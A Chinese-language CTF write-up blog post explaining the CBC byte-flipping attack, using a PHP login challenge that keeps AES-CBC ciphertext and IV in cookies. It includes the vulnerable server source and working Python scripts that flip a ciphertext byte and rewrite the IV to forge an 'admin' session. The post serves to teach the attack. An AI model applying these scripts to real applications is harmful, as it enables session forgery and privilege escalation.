CBC字节翻转攻击

几个月之前就碰到了这类题,但是一直没搞懂,最近做ctf又碰到了,赶紧研究了一番,总算是搞懂了

CBC原理

首先还是要稍微了解一下CBC加密和解密的原理

如果用公式来表示的话,如下:(C表示密文,E表示进行加密,P表示明文,D表示进行解密,IV表示初始向量)

再来看看如何进行攻击:(下面图片摘自《图解密码技术》一书)

上面就是CBC原理,其实看上去一脸懵逼很正常,但是其实我们只需要关注CBC解密的过程,因为我们攻击的过程就是解密的过程,为什么呢,我们来看实例的代码分析就知道了

实例

实例来自bugkuctf web类最后一题login4

网址:http://118.89.219.210:49168/

扫描目录发现存在文件.index.php.swp,下载下来后用linux 的vim -r 命令恢复文件后可以查看到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}

function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}

function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}

function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
}

if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '<body class="login-body">
<div id="wrapper">
<div class="user-icon"></div>
<div class="pass-icon"></div>
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>Fill out the form below to login to my super awesome imaginary control panel.</span>
</div>
<div class="content">
<input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
<input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<input type="submit" name="submit" value="Login" class="button" />
</div>
</form>
</div>
</body>';
}
}
?>

首先服务器接收我们POST的参数username和password,并对username进行检查,如果是admin,则退出程序,如果不是admin,则创建一个数组info,来存放我们输入的username和password,然后经过login函数,也就是cbc的加密,加密的过程是首先创建一个16位长度的随机字符串,然后与数组info序列化后的字符串plain进行CBC加密,也就是一系列的异或运算,具体的加密我们可以不用管,因为我们改变不了加密的过程,我们要操作的,是接下来的解密过程。再往下看程序,加密完以后,会将加密过程的初始化向量(也就是16位的随机字符串)iv和加密后的密文cipher经过base64加密后分别存放到cookie中,这样加密过程就算完成了。接下来,我们再次登录时,服务器执行check_login函数,将cookie中的iv和cipher字段值取出来进行base64解密后,进行cbc的解密,再将解密后字符串进行反序列化得到数组info,然后将info的username取出放入session的username字段,最后检查username如果是admin,则可以查看到flag,如果不是,则输出只有admin才可以查看flag,总的来说,这算是前后矛盾,一开始如果我们输入的username是admin,则提示admin查看不了flag,我们输入的如果不是admin,又提示admin才可以查看flag

所以,要拿到flag,我们的思路,就是一开始输入Admin,然后操作CBC解密的过程,让它最后解密出来的值变成admin,就可以拿到flag,为此,我们重点就是放在cbc解密的过程,来看一张比较清楚的思路图

分析解密的过程:

(1)首先以16位为长度对密文进行分组

(2)初始化向量iv与前16位的解密的密文分组1进行位异或运算得到明文分组1

(3)密文分组1与解密的密文分组2进行异或运算得到明文分组2

(4)密文分组2与解密的密文分组3进行异或运算得到明文分组3

(5)以此类推

那我们就按照解密的过程的顺序逐步演示攻击的过程

首先我们对明文进行分组,因为我们加密的过程也是位异或,所以最终得到的密文位数是等于明文位数的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

$info = array('username'=>'Admin','password'=>'admin');
$plain = serialize($info);
echo $plain.'<br>';
for($i = 0; $i < strlen($plain); $i++){
if($plain[$i] == 'A'){
$A_index = $i % 16;
}
if($i % 16 == 0){
echo '<br>'.$plain[$i];
}
else{
echo $plain[$i];
}

}
echo '<br><br>'.'the index of A is: '.$A_index;

?>

这里我们定下一开始输入的username是Admin,password是admin,对info数组进行序列化处理然后分组

我们翻转的位置是A,我们要想办法将它翻转成a,从而将用户名变成admin,上面已经分析过了解密是位异或,A所处于的密文分组是分组2,它是与密文分组1进行位异或运算得到明文分组2的

所以我们要操纵的就是密文分组1的第9位,使它与A所处的密文分组2异或后得到a

但是我们还要考虑,我们改变了密文分组的第9位,只会影响下一组明文翻转的那一位,但却会影响本组明文的全部,因为我们翻转过的密文要先经过解密,然后才和IV变量进行异或,解密的时候是整串数据进行,所以整串明文受其影响。甚至可能会导致生成的明文部分乱码,至少绝对不再是原来的明文了。 所以,我们还需要操作iv,也就是初始化向量,使它与解密的密文分组1异或能得到原来的明文分组1,也就是a:2:{s:8:”userna

最后就需要考虑如何得到我们想要的字符,直接看公式吧

1
2
3
4
5
6
7
8
9
本组明文 = Decrypt(本组密文) ^ 上一组密文
A B C
=========================================================
A = B ^ C
A ^ A = 0; 0 ^ A = A
C = A ^ A ^ C = B ^ C ^ A ^ C = A ^ B
(即C = A ^ B ,即:上一组密文 = 本组明文 ^ Decrypt(本组密文) )
ascii('a') ^ C ^ A ^ B = ascii('a') ^ A ^ B ^ A ^ B = ascii('a') ^ 0 = ascii('a')
(假设我们想要翻转成a,使用如上公式即可,即:想要的字符 = 上一组密文 ^ 本组明文 ^ Decrypt(本组密文) ^ 想要的字符 )

那么接下来,我们就可以开始编写脚本了,首先,我们先将用户名:Admin和密码:admin POST给服务器

然后获取cookie值的cipher字段,操作第一个密文分组的第九位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests,base64,urllib,re

url = "http://118.89.219.210:49168/"
data = {
'username':'Admin',
'password':'admin'
}
r = requests.post(url,data=data)
cookies = requests.utils.dict_from_cookiejar(r.cookies)
cipher = cookies['cipher']
cipher = base64.b64decode(urllib.unquote(cipher))
index = 9
new_cipher = cipher[:index] + chr(ord(cipher[index])^ord('A')^ord('a')) + cipher[index+1:]
new_cipher = urllib.quote_plus(base64.b64encode(new_cipher))
cookies['cipher'] = new_cipher

r2 = requests.get(url,cookies=cookies)
print r2.text

运行结果

可以看到修改cipher后,再次访问页面给出了提示解密后的明文的不能被序列化,就是因为我们操纵密文分组1,改变了全部的明文分组1,使之不能被序列化

我们将plain取出,解码

1
2
plain = base64.b64decode(re.findall("base64_decode\('(.*)'\)",r2.text)[0])
print plain

可以看到,我们已经成功的将A翻转成a,但是导致了本组明文乱码

所以接下来我们要操作的是iv的全部十六位,下面给出所有代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests,base64,urllib,re

url = "http://118.89.219.210:49168/"
data = {
'username':'Admin',
'password':'admin'
}
r = requests.post(url,data=data)
cookies = requests.utils.dict_from_cookiejar(r.cookies)
cipher = cookies['cipher']
cipher = base64.b64decode(urllib.unquote(cipher))
index = 9
new_cipher = cipher[:index] + chr(ord(cipher[index])^ord('A')^ord('a')) + cipher[index+1:]
new_cipher = urllib.quote_plus(base64.b64encode(new_cipher))
cookies['cipher'] = new_cipher

r2 = requests.get(url,cookies=cookies)
plain = base64.b64decode(re.findall("base64_decode\('(.*)'\)",r2.text)[0])
iv = cookies['iv']
iv = base64.b64decode(urllib.unquote(iv))
target = 'a:2:{s:8:"userna'
new_iv = ''
for i in range(16):
new_iv = new_iv + chr(ord(target[i])^ord(plain[i])^ord(iv[i]))
cookies['iv'] = urllib.quote_plus(base64.b64encode(new_iv))

r3 = requests.get(url,cookies=cookies)
print r3.text

运行结果

成功获得flag

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2018/08/11/CBC%E5%AD%97%E8%8A%82%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog